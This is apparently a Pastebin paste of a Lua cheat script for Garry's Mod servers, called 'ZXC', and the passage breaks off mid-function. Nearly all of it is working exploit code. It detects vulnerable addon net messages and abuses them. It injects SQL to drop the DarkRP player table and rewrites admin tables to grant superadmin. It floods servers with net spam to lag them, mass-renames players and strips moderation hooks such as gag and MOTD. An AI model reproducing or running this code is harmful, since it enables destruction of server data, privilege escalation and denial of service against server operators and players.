Advertisement
Guest User

Untitled

a guest
Nov 25th, 2018
155
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 57.68 KB | None | 0 0
  1. /*LOKI.AddExploit( "Break DarkRP", {
  2. desc = "Vandalize the darkrp master SQL database, permenantly erasing all darkrp player data",
  3. severity = 4,
  4. scan = function() return LOKI.ValidNetString( "pplay_sendtable" ) end,
  5. functions = {
  6. { typ = "func", name = "Burn it down", func = function()
  7. local tbl = {}
  8. tbl.tblname = "darkrp_door; DROP TABLE darkrp_player; CREATE TABLE darkrp_player(a STRING)"
  9. tbl.ply = LocalPlayer()
  10. odium.G.net.Start("pplay_sendtable")
  11. net.WriteTable(tbl)
  12. odium.G.net.SendToServer()
  13. LOKI.ChatText( "Server SQL database de_stroyed" )
  14. end, },
  15. },
  16. } )
  17.  
  18.  
  19. LOKI.AddExploit( "Give yourself superadmin", {
  20. desc = "Give yourself superadmin (rejoin for it to take effect)",
  21. severity = 4,
  22. scan = function() return LOKI.ValidNetString( "pplay_deleterow" ) end,
  23. functions = {
  24. { typ = "func", name = "Gibsmedat", func = function()
  25. local id = LocalPlayer():SteamID()
  26. local tbl = {}
  27. http://tbl.name = "FAdmin_PlayerGroup"
  28. tbl.where = {
  29. "steamid",
  30. tostring(id)
  31. }
  32. odium.G.net.Start("pplay_deleterow")
  33. net.WriteTable(tbl)
  34. odium.G.net.SendToServer()
  35.  
  36. local tbl = {}
  37. tbl.tblname = "FAdmin_PlayerGroup"
  38. tbl.tblinfo = {
  39. tostring(id),
  40. "superadmin"
  41. }
  42. odium.G.net.Start("pplay_addrow")
  43. net.WriteTable(tbl)
  44. odium.G.net.SendToServer()
  45. LOKI.ChatText( "You will be superadmin when you rejoin the server" )
  46. end, },
  47. },
  48. } )
  49. */
  50.  
  51. /*------------------------------------------
  52. Change Logs
  53.  
  54. 11/5/2017 (x0m)
  55. - re arranged & renamed most/all commands for tidiness
  56.  
  57. 11/5/2017 (zultan)
  58. - Added better support for detecting exploits
  59. - Added 2 more exploits for gay JailBreak servers
  60. - Added missing scripz(sorry x0m <3)
  61.  
  62. --------------------------------------------
  63.  
  64. 7/5/2017 (x0m)
  65. - improved keypad a tiny bit
  66. - added gg report spam (server)
  67.  
  68. 7/5/2017 (zultan)
  69. - ulx notepad exploit
  70. - ulx gethooktable exploit
  71. - ulx getcommandtable exploit
  72. - coordination can suck my nuts
  73.  
  74. ------------------------------------------*/
  75.  
  76.  
  77.  
  78. local ZXC = {}
  79.  
  80. function IMP( netmessage )
  81. status, error = pcall(odium.G.net.Start, netmessage) // detecting exploits function DO NOT REMOVE!!
  82. return status
  83. end
  84.  
  85. maxcodes = CreateClientConVar("zxc_keypad_hax_maxvalue", 4, false, false)
  86. keypadcode = CreateClientConVar("zxc_keypad_hax_code", 0, false, false)
  87.  
  88.  
  89. hook.Add("InitPostEntity", "PrintDaExploitz", function()
  90. timer.Simple(18, function() chat.AddText(Color(197,200,255),"[",Color(197,200,255),"ZXC",Color(197,200,255),"] ",Color(255,255,255),"This script was last updated on the: ", Color(255,215,0), ZXC.LastUpdated)
  91. ZXC.PrintExploits()
  92. if(FPP) then if(FPP.Settings.FPP_TOOLGUN1.worldprops == 1) then chat.AddText(Color(197, 200, 255),"[",Color(197,200,255),"Exploit",Color(197,200,255),"] ",Color(255,255,255),"Strip Weapons ", Color(0,255,0), "detected") end end
  93. end )
  94. end )
  95.  
  96. hook.Add( "PostGamemodeLoaded", "FuckShitUp", function()
  97. ZXC.RunCommands()
  98. ZXC.RemoveCommands()
  99. ZXC.RemoveHooks()
  100. ZXC.RemoveNets()
  101. ZXC.DestroyShit()
  102. end )
  103.  
  104. ----[--{ Tables | Configuration | Variables }--]----
  105. ZXC.Booleans = {
  106. Test = {
  107. ["exploit_test"] = false,
  108. },
  109. }
  110.  
  111. ZXC.LastUpdated = "11th of May, 2017.\n"
  112.  
  113. ZXC.FirstName = {
  114. "Oliver","Ray","Troy","Clara","Carol","Cassie","Jane","Fiona","Cynthia","Deborah","Denise","Diana","Elise","Lisa","Lacey","Emma","Gabriel","Hayley","Harley","Heidi","Holly","Ivy","Jamie","Jackie","Jenna","Josephine","Julia","Kelly","Lara","Sarah","Racheal","Wilson","Kane","David"
  115. }
  116.  
  117. ZXC.LastName = {
  118. "Hulley","Rayner","Cartman","Lane","Porter","Fletcher","Hunter","Lynch","Corbett","Barry","Kennedy","Riley","Davis","Lennon","Odinsson","Robson","Ferris","Pearce","Walter","Cruz","Pratchett","Hayes","Danliels","Gregory","Doe","Nelson","Hale","Bryan","Ford","Holden","Burns","Deere"
  119. }
  120.  
  121. ZXC.Colors = {
  122. ["Red"] = Color(255,0,0),
  123. ["Green"] = Color(0,255,0),
  124. ["Blue"] = Color(0,0,255),
  125. ["White"] = Color(255,255,255),
  126. ["Black"] = Color(0,0,0),
  127. ["LightTransparentBlue"] = Color(0,102,204,200),
  128. ["LightTransparentBlack"] = Color(0,0,0,200),
  129. ["Green"] = Color(0,255,0,255),
  130. ["LightGrey"] = Color(160,160,160,255),
  131. }
  132. ----[--{ Fonts }--]----
  133. surface.CreateFont("ZXC Small Text", {font = "Lato", size = 16, weight = 0})
  134. surface.CreateFont("ZXC Info", {font = "Lato", size = 22, weight = 0})
  135. surface.CreateFont("ZXC Button", {font = "Lato", size = 26, weight = 0})
  136. surface.CreateFont("ZXC Header", {font = "Lato", size = 32, weight = 0})
  137. surface.CreateFont("ZXC Font", {font = "Lato", size = 32, weight = 0})
  138. ----[--{ Hooking }--]---
  139. ----[--{ Internal Lua Functions }--]----
  140. function Not( text )
  141. notification.AddLegacy( string.upper( text ), NOTIFY_GENERIC, 6 )
  142. RunConsoleCommand( "play", "buttons/button16.wav" )
  143. end
  144.  
  145. function ZXC.RunCommands()
  146. RunConsoleCommand( "cl_updaterate", 1000 )
  147. RunConsoleCommand( "cl_cmdrate", 0 )
  148. RunConsoleCommand( "cl_interp", 0 )
  149. RunConsoleCommand( "cl_interp_ratio", 1 )
  150. RunConsoleCommand( "rate", 1048576 )
  151. end
  152.  
  153. function ZXC.RemoveCommands()
  154. concommand.Remove( "DrawDeathMsg" )
  155. concommand.Remove( "EasyMOTD_Open" )
  156. concommand.Remove( "OpenMotd" )
  157. concommand.Remove( "nlr_box" )
  158. concommand.Remove( "NLRDeathMessage" )
  159. concommand.Remove( "wesnlr" )
  160. concommand.Remove( "lunera_motd" )
  161. concommand.Remove( "MOTD" )
  162. concommand.Remove( "MOTDS" )
  163. concommand.Remove( "Suss_MOTD" )
  164. concommand.Remove( "`~^" )
  165. concommand.Remove( "rdm" )
  166. concommand.Remove( "showmotdmenu" )
  167. end
  168.  
  169. function ZXC.RemoveHooks()
  170. hook.Remove( "PlayerInitialSpawn", "showMotd")
  171. hook.Remove( "CalcView", "rp_deathPOV" )
  172. hook.Remove( "PlayerBindPress", "BlockPhysgunWheelSpeedGlitch" )
  173. hook.Remove( "Think", "FancyMOTD.OpenOnKeypress" )
  174. hook.Remove( "RenderScreenspaceEffects", "WeatherOverlay" )
  175. hook.Remove( "RenderScreenspaceEffects", "DrawMotionBlur" )
  176. hook.Remove( "PlayerInitialSpawn", "OpenMotdOnJoin" )
  177. hook.Remove( "PlayerSay", "OpenMotdOnCommand" )
  178. hook.Remove( "Initialize","silkymotd" )
  179. hook.Remove( "OnPlayerChat", "moonttt" )
  180. hook.Remove( "HUDPaint", "atmosHUDPaint" )
  181. hook.Remove( "InitPostEntity", "MOTDgdInitHook" )
  182. hook.Remove( "InitPostEntity", "startMistforums" )
  183. hook.Remove( "InitPostEntity", "mistforums-GetClientFiles" )
  184. hook.Remove( "Think", "atmosStormThink" )
  185. hook.Remove( "PlayerCanHearPlayersVoice", "ULXGag" )
  186. hook.Remove( "PostDrawOpaqueRenderables", "example" )
  187. hook.Remove( "PlayerAuthed", "wat" )
  188. hook.Remove( "HUDPaint", "newhud" )
  189. hook.Remove( "HUDShouldDraw", "newhud" )
  190. hook.Remove( "Think", "wat" )
  191. hook.Remove( "RenderScreenspaceEffects", "wat" )
  192. hook.Remove( "HUDPaint", "dance" )
  193. hook.Remove( "GetMotionBlurValues", "wat" )
  194. hook.Remove( "RenderScreenspaceEffects", "ohgod" )
  195. hook.Remove( "PostDrawTranslucentRenderables", "ohgod" )
  196. timer.Destroy( "thedrop" )
  197. timer.Destroy( "NLRChecker" )
  198. hook.Remove( "OnContextMenuOpen", "NoContext4u" )
  199. hook.Remove( "HUDPaint", "gtavds_HUDPaint" )
  200. hook.Remove( "InitPostEntity", "D3A.OpenMoTD.InitPostEntity" )
  201. hook.Remove( "ContextMenuOpen", "AdminContext" )
  202. hook.Remove( "ContextMenuOpen", "AdminContextMenu" )
  203. hook.Remove( "InitPostEntity", "cnTicker" )
  204. hook.Remove( "PlayerBindPress", "Test")
  205. hook.Remove( "PlayerCanPickupWeapon", "noDoublePickup")
  206. hook.Remove("Think","TBFY_Surrender")
  207. end
  208.  
  209. function ZXC.RemoveNets()
  210. net.Receive( "MOTDgdUpdate", function() end )
  211. net.Receive( "atmos_snow", function() end )
  212. net.Receive( "atmos_storm", function() end )
  213. net.Receive( "Mistforums.sendClientFile", function() end )
  214. net.Receive( "open_menu", function() end )
  215. net.Receive( "openmotd", function() end )
  216. net.Receive( "LuneraInitMenu", function() end )
  217. net.Receive( "closebutton_repeat", function() end )
  218. net.Receive( "sBlockGMSpawn", function() hook.Remove( "PlayerBindPress", "_sBlockGMSpawn" ) end )
  219. net.Receive( "NDS_death", function() return end )
  220. net.Receive( "silkymotd", function() return end )
  221. net.Receive( "slua", function() return end )
  222. net.Receive( "1942_Rule_Check", function() return end )
  223. net.Receive( "1942_Economy_QuestionMenu", function() return end )
  224. net.Receive( "1942_Revive_Notice", function() return end )
  225. net.Receive( "tbfy_surrender", function() return end )
  226. net.Receive( "VelocityKillerMessage", function() return end )
  227. end
  228.  
  229. function ZXC.DestroyShit()
  230. if( ulx ) then
  231. function ulx.showMotdMenu() Not( "ULX MOTD DESTROYED!" ) return end
  232. function ulx.gagUser() Not("ULX GAG ATTEMPT") return end
  233. if hook.GetTable().HUDPaint then hook.Remove("HUDPaint","drawHudVital") end
  234. if hook.GetTable().CalcView then hook.Remove("CalcView", "CalcView") end
  235. hook.Add( "Think", "naughtyblindxx", function() hook.Remove( "HUDPaint", "ulx_blind" ) end )
  236. end
  237. if( FancyMOTD ) then
  238. function FancyMOTD.Show() return end
  239. end
  240. if( MODERN != nil ) then
  241. function MODERN.OpenMOTD() return end
  242. end
  243. if( FIGD ) then
  244. function FIGD.OpenMenu() return end
  245. end
  246. if( silkymotd ) then
  247. function silkymotd.Open() return end
  248. end
  249. if( FullMOTD ) then
  250. net.Receive( "FullMOTD_Open", function() return end )
  251. end
  252. end
  253.  
  254.  
  255. function ZXC.PrintExploits()
  256.  
  257. if IMP("NC_GetNameChange") then
  258. chat.AddText(Color(197, 200, 255),"[",Color(197,200,255),"Exploit",Color(197,200,255),"] ",Color(255,255,255),"Darkrp Name Changer ", Color(0,255,0), "detected\n")
  259. chat.AddText(Color(255, 255, 255), "Usage: zxc_nc_spam or zxc_nc_targ (zxc_nc_sid) \n")
  260. end
  261.  
  262. if IMP("ATS_WARP_REMOVE_CLIENT") and IMP("ATS_WARP_FROM_CLIENT") and IMP("ATS_WARP_VIEWOWNER") then
  263. chat.AddText(Color(197, 200, 255),"[",Color(197,200,255),"Exploit",Color(197,200,255),"] ",Color(255,255,255),"ATS ", Color(0,255,0), "detected\n")
  264. chat.AddText(Color(255, 255, 255), "Usage: zxc_ats_lag \n")
  265. end
  266.  
  267. if IMP("bodyman_model_change") and IMP("bodygroups_change") then
  268. chat.AddText(Color(197, 200, 255),"[",Color(197,200,255),"Exploit",Color(197,200,255),"] ",Color(255,255,255),"Body Groups ", Color(0,255,0), "detected\n")
  269. chat.AddText(Color(255, 255, 255), "Usage: zxc_bodygroups_rm or zxc_bodygroups_rmspam \n")
  270. end
  271.  
  272. if IMP("RevivePlayer") then
  273. chat.AddText(Color(197, 200, 255),"[",Color(197,200,255),"Exploit",Color(197,200,255),"] ",Color(255,255,255),"Refib ", Color(0,255,0), "detected\n")
  274. chat.AddText(Color(255, 255, 255), "Usage: zxc_defibself \n")
  275. end
  276.  
  277. if IMP("CFRemoveGame") and IMP("CFJoinGame") and IMP("CFEndGame") then
  278. chat.AddText(Color(197, 200, 255),"[",Color(197,200,255),"Exploit",Color(197,200,255),"] ",Color(255,255,255),"Coin Flip ", Color(0,255,0), "detected\n")
  279. chat.AddText(Color(255, 255, 255), "Usage: zxc_coinfliplag \n")
  280. end
  281.  
  282. if IMP("BailOut") then
  283. chat.AddText(Color(197, 200, 255),"[",Color(197,200,255),"Exploit",Color(197,200,255),"] ",Color(255,255,255),"Bail Out ", Color(0,255,0), "detected")
  284. chat.AddText(Color(255, 255, 255), "Usage: zxc_exploit_bailnpc \n")
  285. end
  286.  
  287. if IMP("SyncPrinterButtons76561198056171650") or IMP("SyncPrinterButtons16690") or IMP("SyncPrinterButtons76561198056449390") then
  288. chat.AddText(Color(197, 200, 255),"[",Color(197,200,255),"Exploit",Color(197,200,255),"] ",Color(255,255,255),"Money Printers ", Color(0,255,0), "detected")
  289. chat.AddText(Color(255, 255, 255), "Usage: zxc_customizeableprinters \n")
  290. end
  291.  
  292. if IMP("Keypad") then
  293. chat.AddText(Color(197, 200, 255),"[",Color(197,200,255),"Exploit",Color(197,200,255),"] ",Color(255,255,255),"Willox's Keypad Addon ", Color(0,255,0), "detected")
  294. chat.AddText(Color(255, 255, 255), "Usage: zxc_keypad_spam_sound or zxc_keypad_spam_open \n")
  295. end
  296.  
  297. if IMP("sendtable") then
  298. chat.AddText(Color(197, 200, 255),"[",Color(197,200,255),"Exploit",Color(197,200,255),"] ",Color(255,255,255),"Ulx Custom Commands ", Color(0,255,0), "detected")
  299. chat.AddText(Color(255, 255, 255), "Usage: zxc_ulx_cc_flspam or zxc_ulx_cc_flspamtog (zxc_ulx_cc_flstring) \n")
  300. end
  301.  
  302. if IMP("ARMORY_RetrieveWeapon") then
  303. chat.AddText(Color(197, 200, 255),"[",Color(197,200,255),"Exploit",Color(197,200,255),"] ",Color(255,255,255),"Darkrp Police Armory ", Color(0,255,0), "detected")
  304. chat.AddText(Color(255, 255, 255), "Usage: zxc_armory_1 or zxc_armory_2 or zxc_armory_3 \n")
  305. end
  306.  
  307. if IMP("FactionInviteConsole") then
  308. chat.AddText(Color(197, 200, 255),"[",Color(197,200,255),"Exploit",Color(197,200,255),"] ",Color(255,255,255),"Custom Factions ", Color(0,255,0), "detected")
  309. chat.AddText(Color(255, 255, 255), "Usage: zxc_exploit_factions \n")
  310. end
  311.  
  312. if IMP("FacCreate") then
  313. chat.AddText(Color(197, 200, 255),"[",Color(197,200,255),"Exploit",Color(197,200,255),"] ",Color(255,255,255),"Custom Factions #2 ", Color(0,255,0), "detected")
  314. chat.AddText(Color(255, 255, 255), "Usage: zxc_exploit_factions_spam \n")
  315. end
  316.  
  317. if IMP("1942_Fuhrer_SubmitCandidacy") and IMP("pogcp_report_submitReport") then
  318. chat.AddText(Color(197, 200, 255),"[",Color(197,200,255),"Exploit",Color(197,200,255),"] ",Color(255,255,255),"Fuhrer Report System ", Color(0,255,0), "detected")
  319. chat.AddText(Color(255, 255, 255), "Usage: zxc_pog_fuhrerspam or zxc_pog_reportall \n")
  320. end
  321.  
  322. if IMP("textscreens_download") then
  323. chat.AddText(Color(197, 200, 255),"[",Color(197,200,255),"Exploit",Color(197,200,255),"] ",Color(255,255,255),"Textscreens ", Color(0,255,0), "detected")
  324. chat.AddText(Color(255, 255, 255), "Usage: zxc_textscreenlag \n")
  325. end
  326.  
  327. if IMP("reports.submit") then
  328. chat.AddText(Color(197, 200, 255),"[",Color(197,200,255),"Exploit",Color(197,200,255),"] ",Color(255,255,255),"Custom Reports Addon ", Color(0,255,0), "detected")
  329. chat.AddText(Color(255, 255, 255), "Usage: zxc_gg_reportspam \n")
  330. end
  331.  
  332. if IMP("friendlist") then
  333. chat.AddText(Color(197, 200, 255),"[",Color(197,200,255),"Exploit",Color(197,200,255),"] ",Color(255,255,255),"ULX Extended ", Color(0,255,0), "detected")
  334. chat.AddText(Color(255, 255, 255), "Usage: zxc_ulxextended_friendslist \n")
  335. end
  336.  
  337. if IMP("hsend") then
  338. chat.AddText(Color(197, 200, 255),"[",Color(197,200,255),"Exploit",Color(197,200,255),"] ",Color(255,255,255),"ULX Extended ", Color(0,255,0), "detected")
  339. chat.AddText(Color(255, 255, 255), "Usage: zxc_ulxextended_hooks \n")
  340. end
  341.  
  342. if IMP("WriteQuery") then
  343. chat.AddText(Color(197, 200, 255),"[",Color(197,200,255),"Exploit",Color(197,200,255),"] ",Color(255,255,255),"ULX Notepad ", Color(0,255,0), "detected")
  344. chat.AddText(Color(255, 255, 255), "Usage: zxc_ulx_cc_notepadspam \n")
  345. end
  346.  
  347. if IMP("BuilderXToggleKill") then
  348. chat.AddText(Color(197, 200, 255),"[",Color(197,200,255),"Exploit",Color(197,200,255),"] ",Color(255,255,255),"Custom Buildmode Addon ", Color(0,255,0), "detected")
  349. chat.AddText(Color(255, 255, 255), "Usage: zxc_builderx_unbuildall \n")
  350. end
  351.  
  352. if IMP("TransferReport") then
  353. chat.AddText(Color(197, 200, 255),"[",Color(197,200,255),"Exploit",Color(197,200,255),"] ",Color(255,255,255),"Custom Report Addon #2 ", Color(0,255,0), "detected")
  354. chat.AddText(Color(255, 255, 255), "Usage: zxc_poseidon_reportall \n")
  355. end
  356.  
  357. if IMP("Chatbox_PlayerChat") then
  358. chat.AddText(Color(197, 200, 255),"[",Color(197,200,255),"Exploit",Color(197,200,255),"] ",Color(255,255,255),"Custom Player Chat Addon ", Color(0,255,0), "detected")
  359. chat.AddText(Color(255, 255, 255), "Usage: zxc_wiloxchat_spam \n")
  360. end
  361.  
  362. if IMP("Warn_CreateWarn") then
  363. chat.AddText(Color(197, 200, 255),"[",Color(197,200,255),"Exploit",Color(197,200,255),"] ",Color(255,255,255),"Custom Warn Addon ", Color(0,255,0), "detected")
  364. chat.AddText(Color(255, 255, 255), "Usage: zxc_jailbreak_c_warn \n")
  365. end
  366.  
  367. if IMP("NewReport") then
  368. chat.AddText(Color(197, 200, 255),"[",Color(197,200,255),"Exploit",Color(197,200,255),"] ",Color(255,255,255),"Custom Warn Addon #2 ", Color(0,255,0), "detected")
  369. chat.AddText(Color(255, 255, 255), "Usage: zxc_jailbreak_c_report \n")
  370. end
  371.  
  372. if IMP("customprinter_get") then
  373. chat.AddText(Color(197, 200, 255),"[",Color(197,200,255),"Exploit",Color(197,200,255),"] ",Color(255,255,255),"Real Printers Addon ", Color(0,255,0), "detected")
  374. chat.AddText(Color(255, 255, 255), "Usage: zxc_realprinters_explode \n")
  375. end
  376.  
  377. if IMP("services_accept") then
  378. chat.AddText(Color(197, 200, 255),"[",Color(197,200,255),"Exploit",Color(197,200,255),"] ",Color(255,255,255),"Uknown Addon Name ", Color(0,255,0), "detected")
  379. chat.AddText(Color(255, 255, 255), "Usage: zxc_infernus_serviceaccept \n")
  380. end
  381.  
  382. if IMP("VJSay") then
  383. chat.AddText(Color(197, 200, 255),"[",Color(197,200,255),"Exploit",Color(197,200,255),"] ",Color(255,255,255),"VJBase Addon ", Color(0,255,0), "detected")
  384. chat.AddText(Color(255, 255, 255), "Usage: zxc_vjbase_spam \n")
  385. end
  386.  
  387. if IMP("SendMoney") then
  388. chat.AddText(Color(197, 200, 255),"[",Color(197,200,255),"Exploit",Color(197,200,255),"] ",Color(255,255,255),"Hitman X ", Color(0,255,0), "detected")
  389. chat.AddText(Color(255, 255, 255), "Usage: zxc_hitmanx_givemoney, zxc_hitmanx_giveallmoney or zxc_hitmanx_removeallmoney \n")
  390. end
  391.  
  392. if IMP("start_wd_emp") then
  393. chat.AddText(Color(197, 200, 255),"[",Color(197,200,255),"Exploit",Color(197,200,255),"] ",Color(255,255,255),"Watchdogs Addon ", Color(0,255,0), "detected")
  394. chat.AddText(Color(255, 255, 255), "Usage: zxc_watchdogs_keypad\n")
  395. end
  396.  
  397. if IMP("pplay_sendtable") then
  398. chat.AddText(Color(197, 200, 255),"[",Color(197,200,255),"Exploit",Color(197,200,255),"] ",Color(255,255,255),"Report Addon ", Color(0,255,0), "detected")
  399. chat.AddText(Color(255, 255, 255), "Usage: zxc_reportaddon_givesuper or zxc_reportaddon_deletedb\n")
  400. end
  401.  
  402. end
  403.  
  404.  
  405. concommand.Add("zxc_printexploits", ZXC.PrintExploits)
  406.  
  407. function ZXC.LoadShit()
  408. ZXC.RemoveCommands()
  409. ZXC.RemoveHooks()
  410. ZXC.RemoveNets()
  411. ZXC.DestroyShit()
  412. end
  413. concommand.Add("zxc_bypass", ZXC.LoadShit)
  414.  
  415.  
  416.  
  417.  
  418.  
  419.  
  420.  
  421.  
  422.  
  423.  
  424.  
  425.  
  426.  
  427.  
  428.  
  429.  
  430.  
  431.  
  432.  
  433.  
  434.  
  435.  
  436.  
  437.  
  438.  
  439.  
  440.  
  441.  
  442.  
  443.  
  444.  
  445.  
  446.  
  447.  
  448.  
  449.  
  450.  
  451.  
  452.  
  453. ----[--{ Exploits }--]----
  454.  
  455. function ZXC.NameChange1()
  456. for k,v in pairs(player.GetAll()) do
  457. odium.G.net.Start("NC_GetNameChange")
  458. WriteEntity(v)
  459. odium.G.net.WriteString(table.Random(ZXC.FirstName))
  460. odium.G.net.WriteString(table.Random(ZXC.LastName))
  461. odium.G.net.SendToServer()
  462. end
  463. end
  464.  
  465. local ne1 = false
  466. concommand.Add( "zxc_nc_spam", function()
  467. ne1 = !ne1
  468. if( ne1 ) then
  469. chat.AddText(Color(197,200,255),"[",Color(197,200,255),"Exploit",Color(197,200,255),"] ",Color(255,255,255),"Global Name Change Spammer ", Color(0,255,0), "enabled\n")
  470. ZXC.NameChange1()
  471. timer.Create( "ne1", 0.1, 0, function()
  472. ZXC.NameChange1()
  473. end )
  474. else
  475. ZXC.ACT(Color(197,200,255),"[",Color(197,200,255),"Exploit",Color(197,200,255),"] ",Color(255,255,255),"Name Change Spam ", Color(255,0,0), "disabled\n")
  476. timer.Destroy( "ne1" )
  477. end
  478. end )
  479.  
  480. function ZXC.NameChange2()
  481. for k,v in pairs(player.GetAll()) do
  482. if !(v:SteamID() == (GetConVarString("zxc_nc_sid"))) then continue end
  483. odium.G.net.Start("NC_GetNameChange")
  484. net.WriteEntity(v)
  485. odium.G.net.WriteString(table.Random(ZXC.FirstName))
  486. odium.G.net.WriteString(table.Random(ZXC.LastName))
  487. odium.G.net.SendToServer()
  488. end
  489. end
  490.  
  491. local ne2 = false
  492. concommand.Add( "zxc_nc_targ", function()
  493. ne2 = !ne2
  494. if( ne2 ) then
  495. chat.AddText(Color(197,200,255),"[",Color(197,200,255),"Exploit",Color(197,200,255),"] ",Color(255,255,255),"Specific Player Name Change Spammer ", Color(0,255,0), "enabled\n")
  496. ZXC.NameChange2()
  497. timer.Create( "ne2", 0.1, 0, function()
  498. ZXC.NameChange2()
  499. end )
  500. else
  501. chat.AddText(Color(197,200,255),"[",Color(197,200,255),"Exploit",Color(197,200,255),"] ",Color(255,255,255),"Specific Player Name Change Spammer ", Color(255,0,0), "disabled\n")
  502. timer.Destroy( "ne2" )
  503. end
  504. end )
  505. CreateClientConVar("zxc_nc_sid","STEAM:0:0:1234",true,false)
  506.  
  507. function ZXC.ATS()
  508. for k,v in pairs(player.GetAll()) do
  509. if v == LocalPlayer() then return else
  510. odium.G.net.Start( "ATS_WARP_REMOVE_CLIENT" )
  511. net.WriteEntity( v )
  512. odium.G.net.WriteString( "adminroom1" )
  513. odium.G.net.SendToServer()
  514. odium.G.net.Start( "ATS_WARP_FROM_CLIENT" )
  515. net.WriteEntity( v )
  516. odium.G.net.WriteString( "adminroom1" )
  517. odium.G.net.SendToServer()
  518. odium.G.net.Start( "ATS_WARP_VIEWOWNER" )
  519. net.WriteEntity( v )
  520. odium.G.net.WriteString( "adminroom1" )
  521. odium.G.net.SendToServer()
  522. end
  523. end
  524. end
  525.  
  526. local atspam = false
  527. concommand.Add( "zxc_ats_lag", function()
  528. atspam = !atspam
  529. if( atspam ) then
  530. chat.AddText(Color(197,200,255),"[",Color(197,200,255),"Exploit",Color(197,200,255),"] ",Color(255,255,255),"ATS Net Spammer ", Color(0,255,0), "enabled\n")
  531. timer.Create( "atspam", 0.001, 0, ZXC.ATS)
  532. else
  533. chat.AddText(Color(197,200,255),"[",Color(197,200,255),"Exploit",Color(197,200,255),"] ",Color(255,255,255),"ATS Net Spammer ", Color(255,0,0), "disabled\n")
  534. timer.Destroy( "atspam" )
  535. end
  536. end )
  537.  
  538. local PM = 1
  539. local SK = 1
  540. local BG = 1
  541. local HN = 1
  542. local TS = 1
  543. local GL = 1
  544. local LG = 1
  545.  
  546. function ZXC.BodyGroups()
  547. PlayerModels = {0,1,2,3,4,5,6}
  548. Torso = {0,1,2,3,4,5,6,7,8,9,10}
  549. Legs = {0,1,2,3,4,5,6}
  550. Hands = {0,1,2}
  551. Glasses = {0,1}
  552. Skins = {0,1,2,3,4,5,6,7,8,9,10}
  553. PM = PM+1
  554. TS = TS+1
  555. LG = LG+1
  556. HN = HN+1
  557. GL = GL+1
  558. SK = SK+1
  559. if (PM>#PlayerModels) then PM=1 end
  560. if (SK>#Skins) then SK=1 end
  561. if (HN>#Hands) then HN=1 end
  562. if (TS>#Torso) then TS=1 end
  563. if (GL>#Glasses) then GL=1 end
  564. if (LG>#Legs) then LG=1 end
  565. odium.G.net.Start("bodyman_model_change")
  566. net.WriteInt(PlayerModels[PM], 10 )
  567. odium.G.net.SendToServer()
  568. odium.G.net.Start("bodygroups_change")
  569. net.WriteTable( { 1, Torso[TS] } )
  570. odium.G.net.SendToServer()
  571. odium.G.net.Start("bodygroups_change")
  572. net.WriteTable( { 2, Legs[LG] } )
  573. odium.G.net.SendToServer()
  574. odium.G.net.Start("bodygroups_change")
  575. net.WriteTable( { 3, Hands[HN] } )
  576. odium.G.net.SendToServer()
  577. odium.G.net.Start("bodygroups_change")
  578. net.WriteTable( { 4, Glasses[GL] } )
  579. odium.G.net.SendToServer()
  580. end
  581. concommand.Add("zxc_bodygroups_rm", ZXC.BodyGroups)
  582.  
  583. local scm = false
  584. concommand.Add( "zxc_bodygroups_rmspam", function()
  585. scm = !scm
  586. if( scm ) then
  587. chat.AddText(Color(197,200,255),"[",Color(197,200,255),"Exploit",Color(197,200,255),"] ",Color(255,255,255),"Body Group Manager Model Changer ", Color(0,255,0), "enabled\n")
  588. ZXC.BodyGroups()
  589. timer.Create( "scm", 0.3, 0, function()
  590. ZXC.BodyGroups()
  591. end )
  592. else
  593. chat.AddText(Color(197,200,255),"[",Color(197,200,255),"Exploit",Color(197,200,255),"] ",Color(255,255,255),"Body Group Manager Model Changer ", Color(255,0,0), "disabled\n")
  594. timer.Destroy( "scm" )
  595. end
  596. end )
  597.  
  598. function ZXC.DefibExploit()
  599. odium.G.net.Start("RevivePlayer")
  600. WriteEntity(LocalPlayer())
  601. odium.G.net.SendToServer()
  602. end
  603.  
  604. local sr = false
  605. concommand.Add( "zxc_defibself", function()
  606. sr = !sr
  607. if( sr ) then
  608. ZXC.DefibExploit()
  609. chat.AddText(Color(197,200,255),"[",Color(197,200,255),"Exploit",Color(197,200,255),"] ",Color(255,255,255),"Gmod Defib Revive Spam ", Color(0,255,0), "enabled\n")
  610. timer.Create( "sr", 1, 0, function()
  611. ZXC.DefibExploit()
  612. end )
  613. else
  614. chat.AddText(Color(197,200,255),"[",Color(197,200,255),"Exploit",Color(197,200,255),"] ",Color(255,255,255),"Gmod Defib Revive Spam ", Color(255,0,0), "disabled\n")
  615. timer.Destroy( "sr" )
  616. end
  617. end )
  618.  
  619. function ZXC.CoinFlip()
  620. for i = 0, 255 do
  621. odium.G.net.Start( "CFRemoveGame" )
  622. net.WriteFloat( math.Round( "10000\n" ) )
  623. odium.G.net.SendToServer()
  624. odium.G.net.Start( "CFJoinGame" )
  625. net.WriteFloat( math.Round( "10000\n" ) )
  626. odium.G.net.SendToServer()
  627. odium.G.net.Start( "CFEndGame" )
  628. net.WriteFloat( "10000\n" )
  629. odium.G.net.SendToServer()
  630. end
  631. end
  632.  
  633. local cl = false
  634. concommand.Add( "zxc_coinfliplag", function()
  635. cl = !cl
  636. if( cl ) then
  637. ZXC.CoinFlip()
  638. chat.AddText(Color(197,200,255),"[",Color(197,200,255),"Exploit",Color(197,200,255),"] ",Color(255,255,255),"Coin Flip lag ", Color(0,255,0), "enabled\n")
  639. hook.Add("Think", "coinfliplag", ZXC.CoinFlip)
  640. else
  641. chat.AddText(Color(197,200,255),"[",Color(197,200,255),"Exploit",Color(197,200,255),"] ",Color(255,255,255),"Coin Flip lag ", Color(255,0,0), "disabled\n")
  642. hook.Remove("Think", "coinfliplag")
  643. end
  644. end )
  645.  
  646. // works on republic
  647. local amount = CreateClientConVar("zxc_exploit_bailnpcamount", 1000000, true, false)
  648. concommand.Add("zxc_exploit_bailnpc",function()
  649. chat.AddText(Color(197,200,255),"[",Color(197,200,255),"Exploit",Color(197,200,255),"] ",Color(255,215,0),"Giving money.")
  650. for k,v in pairs(player.GetAll()) do
  651. odium.G.net.Start( "BailOut" )
  652. WriteEntity( Local )
  653. WriteEntity( v )
  654. net.WriteFloat( -amount:GetFloat() )
  655. odium.G.net.SendToServer()
  656. end
  657. end)
  658.  
  659. function ZXC.CustomPrinters()
  660. //local netMessage = "SyncPrinterButtons76561198056171650"
  661. //netMessage = "SyncPrinterButtons16690"
  662. netMessage = "SyncPrinterButtons76561198056449390"
  663.  
  664. for k, v in pairs(ents.GetAll()) do
  665. if(v:GetClass():find("print")) then
